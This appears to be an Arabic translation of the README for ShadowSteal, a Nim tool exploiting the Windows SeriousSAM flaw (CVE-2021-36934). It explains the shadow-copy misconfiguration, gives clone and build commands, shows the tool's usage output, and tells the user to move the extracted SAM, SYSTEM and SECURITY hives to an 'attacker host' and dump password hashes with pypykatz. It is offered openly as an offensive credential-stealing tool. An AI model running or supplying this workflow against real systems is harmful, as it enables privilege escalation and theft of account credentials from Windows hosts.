
تطبيق نيم نقي لاستغلال CVE-2021-36934، وهو تصعيد الامتيازات المحلي SeriousSAM
تنفيذ نقي بلغة Nim لاستغلال CVE-2021-36934، وهو تصعيد الصلاحيات المحلية SeriousSAM (LPE). ليس آمنًا من حيث OPSEC... بعد ;). لا أدّعي الفضل في اكتشاف هذا الاستغلال.
بدأ استخدام ShadowSteal أصبح أسهل من أي وقت مضى بفضل Docker! لا تريد العبث بتثبيت تبعيات Nim؟ أنا معك يا صديقي! قم بتشغيل سكربت Python لإنشاء بيئة بناء Docker، وقم بتجميع الملف الثنائي، ثم نقله مرة أخرى إلى المضيف الخاص بك، ثم اقتل الحاوية.
قم بتثبيت Docker على مضيفك (اطلع على الوثائق لكيفية التثبيت لأنظمة التشغيل المختلفة)، ثم قم بتشغيل سكربت ShadowSteal Python في المجلد الرئيسي:
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ sudo python3 ShadowSteal.py && cd bin/ && ls -l
أو، قم بالبناء من المصدر عن طريق تثبيت Nim وتبعياتها:
$ sudo apt-get install nim
$ nimble install zippy argparse winim
قم بتثبيت سلسلة أدوات MinGW إذا لم تكن مثبتة بالفعل.
$ sudo apt-get install mingw-w64
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ make && cd bin/ && ls -l
انقل إلى الهدف...
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
بسبب بعض الإشراف من Microsoft، يمتلك المستخدمون العاديون أذونات قراءة على محتويات مجلد ...\System32\config\ في إصدارات Windows الأخيرة. من بين أمور أخرى، هذا يعني أن مستخدمًا منخفض المستوى لديه حق الوصول للقراءة إلى ملفات SAM و System و Security في ...\System32\config.

أوف. إذن ماذا يمكننا أن نفعل بهذا؟
لاحظ بعض الباحثين شديدي الملاحظة (تحية لـ @jonasLyk!) أنه إذا كان مضيف Windows يستخدم تكوين استعادة نظام معين، "Volume Shadow Copies"، فإن المضيف يخزن نسخًا احتياطية من هذه الملفات يمكن الوصول إليها عبر مساحة اسم جهاز Win32 لهذه النسخ.


عادة ما يكون SAM مقفلًا أثناء تشغيل المضيف، لذا فإن الوصول إلى SAM في ...\System32\config\ أمر مستبعد. لكن نسخ الحجم الظلي هذه هي لعبة عادلة لأي مستخدم على المضيف بسبب هذا التكوين الخاطئ. جميل جدًا!
ShadowSteal هو ملف ثنائي مكتوب بلغة Nim لأتمتة تعداد واستخراج ملفات SAM و System و Security من هذه النسخ الظلية. يتكرر عبر المواقع المحتملة للنسخ الظلية، وعندما يجد هدفًا، يقوم باستخراج الملفات إلى دليل مضغوط (فكر في مخرجات Bloodhound).


إنه ليس شيئًا هائلًا والكود غير منظم، لكنه يعمل وكان بناءً ممتعًا!
تثبيت Nim:
$ sudo apt-get install nim
تثبيت التبعيات:
$ nimble install zippy argparse winim
تثبيت سلسلة أدوات MinGW إذا لم تكن مثبتة بالفعل:
$ sudo apt-get install mingw-w64
تجميع لأنظمة Windows 64 بت:
$ make
انقل إلى الهدف وقم بتشغيله!
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
[*] ShadowSteal! Identifies and extracts credentials that can be stolen due to the SeriousSAM (CVE-2021-36934) exploit. Searches from high to low, defaults searching 100 to 1.
Usage:
[options]
Options:
-h, --help
-t, --triage [*] Triage mode. Quick enumeration, tries to find quick wins.
-bf, --bruteforce [*] Bruteforce mode. Enumerates the entire range of possible locations (512 to 1). Takes a bit.
-b, --bezos [?] Jeff Bezos Mode
يحدد البحث الشامل للمواقع من 10 إلى 1، متناقصًا مع كل محاولة. سريع وفعال في معظم البيئات.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -t
يبحث في جميع المواقع الممكنة (512)، متناقصًا وصولاً إلى 1. جرب هذا لتعداد البيئة بدقة. يستغرق بضع دقائق.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -bf
انقل مجلد المخرجات مرة أخرى إلى مضيف المهاجم وقم باستخراج البيانات باستخدام Pypykatz. للتثبيت:
$ pip3 install pypykatz
لتشغيل Pypykatz:
$ pypykatz registry [yyyyMMddhhmm_SYSTEM] --sam [yyyyMMddhhmm_SAM] --security [yyyyMMddhhmm_SECURITY]

الآن يتميز ببيئة بناء Docker سهلة ومعبأة مسبقًا! فقط قم بتشغيل سكربت ShadowSteal.py لإعداد بيئة Docker، وتجميع الملف الثنائي، ونقله مرة أخرى إلى المضيف، وقتل حاويات البناء. إنها تعمل فقط! (مطلوب بعض التجميع، أي أنك تحتاج إلى Docker لتشغيله).
خفيف وقوي. تمت إضافة خيارات تجميع محسّنة. زيادة هائلة في الأداء بسبب تحسين المترجم، يتم الآن البحث الشامل الكامل في لحظات. شكر كبير لـ @orbitalgun على الـ PR الوهمي، المجد لبيتك واسمك!
ادخلوا يا رفاق، هذه الكارثة تتدحرج. كان هذا الإصدار نموذجي الأولي السريع وكان فظيعًا جدًا lol. لكن بناءه كان ممتعًا جدًا! الميزات:
